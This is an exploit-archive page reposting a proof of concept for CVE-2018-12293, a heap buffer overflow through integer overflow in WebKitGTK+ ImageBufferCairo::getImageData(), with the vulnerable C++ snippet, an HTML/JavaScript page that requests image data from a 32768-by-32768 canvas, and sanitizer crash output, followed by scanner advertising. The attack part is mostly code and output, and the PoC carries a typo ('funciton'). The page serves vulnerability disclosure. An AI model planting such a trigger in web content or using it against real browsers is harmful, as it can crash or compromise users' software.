webkitgtk+ 2.20.3 imagebuffercairo::getimagedata() buffer overflow (poc)

▸▸▸ Exploit & Vulnerability >>   local exploit & linux vulnerability




webkitgtk+ 2.20.3 imagebuffercairo::getimagedata() buffer overflow (poc) Code Code...
				
# Exploit Title: WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC) # Date: 2018-08-15 # Exploit Author: PeregrineX # Vendor Homepage: https://webkitgtk.org/ & https://webkit.org/wpe/ # Software Link: https://webkitgtk.org/releases/ & https://wpewebkit.org/releases/ # Version: <2.20.3 (GTK+) <2.20.1 (WPE) # Tested on: WebKitGTK+ 2.20.2 # CVE : CVE-2018-12293 # SUMMARY: # getImageData() in ImageBufferCairo.cpp multiplies rect.width() * rect.height() * 4 # without any overflow checks. If result is larger than UINT_MAX, # heap-based buffer overflow via integer overflow will occur, # which could be exploited further. # Works on WebKitGTK+ <2.20.3 and WPE WebKit <2.20.1 # Credit to ADlab of Venustech for originally finding this vulnerability. Vulnerable Code (Source/WebCore/platform/graphics/cairo/ImageBufferCairo.cpp): template <AlphaPremultiplication premultiplied> RefPtr<Uint8ClampedArray> getImageData(const IntRect& rect, const IntRect& logicalRect, const ImageBufferData& data, const IntSize& size, const IntSize& logicalSize, float resolutionScale) { auto result = Uint8ClampedArray::createUninitialized(rect.width() * rect.height() * 4); if (!result) return nullptr; //... # Proof of Concept: <html> <head> <script> funciton poc() { var c = document.getElementById("myCanvas"); var ctx = c.getContext("2d"); var imgData = ctx.getImageData(0, 0, 32768, 32768); } </script> </head> <body onload="poc()"> <canvas id="myCanvas" width="32768" height="32768">No HTML5 canvas tag.</canvas> </body> </html> # Output snippet UBSAN output: ../Source/JavaScriptCore/runtime/JSGlobalObject.cpp:1608:22: runtime error: call to function (unknown) through pointer to incorrect function type 'JSC::RuntimeFlags (*)(const JSC::JSGlobalObject *)' (/usr/local/lib/libwebkit2gtk-4.0.so.37+0x11116c70): note: (unknown) defined here SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../Source/JavaScriptCore/runtime/JSObject.h:695:17 in DerivedSources/JavaScriptCore/KeywordLookup.h:469:13: runtime error: load of misaligned address 0x7fd8a1d95062 for type 'const uint32_t' (aka 'const unsigned int'), which requires 4 byte alignment 0x7fd8a1d95062: note: pointer points here 00 00 28 66 75 6e 63 74 69 6f 6e 20 28 74 68 69 73 56 61 6c 75 65 2c 20 61 72 67 75 6d 65 6e 74 ^

Webkitgtk+ 2.20.3 imagebuffercairo::getimagedata() buffer overflow (poc) Vulnerability / Exploit Source : Webkitgtk+ 2.20.3 imagebuffercairo::getimagedata() buffer overflow (poc)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.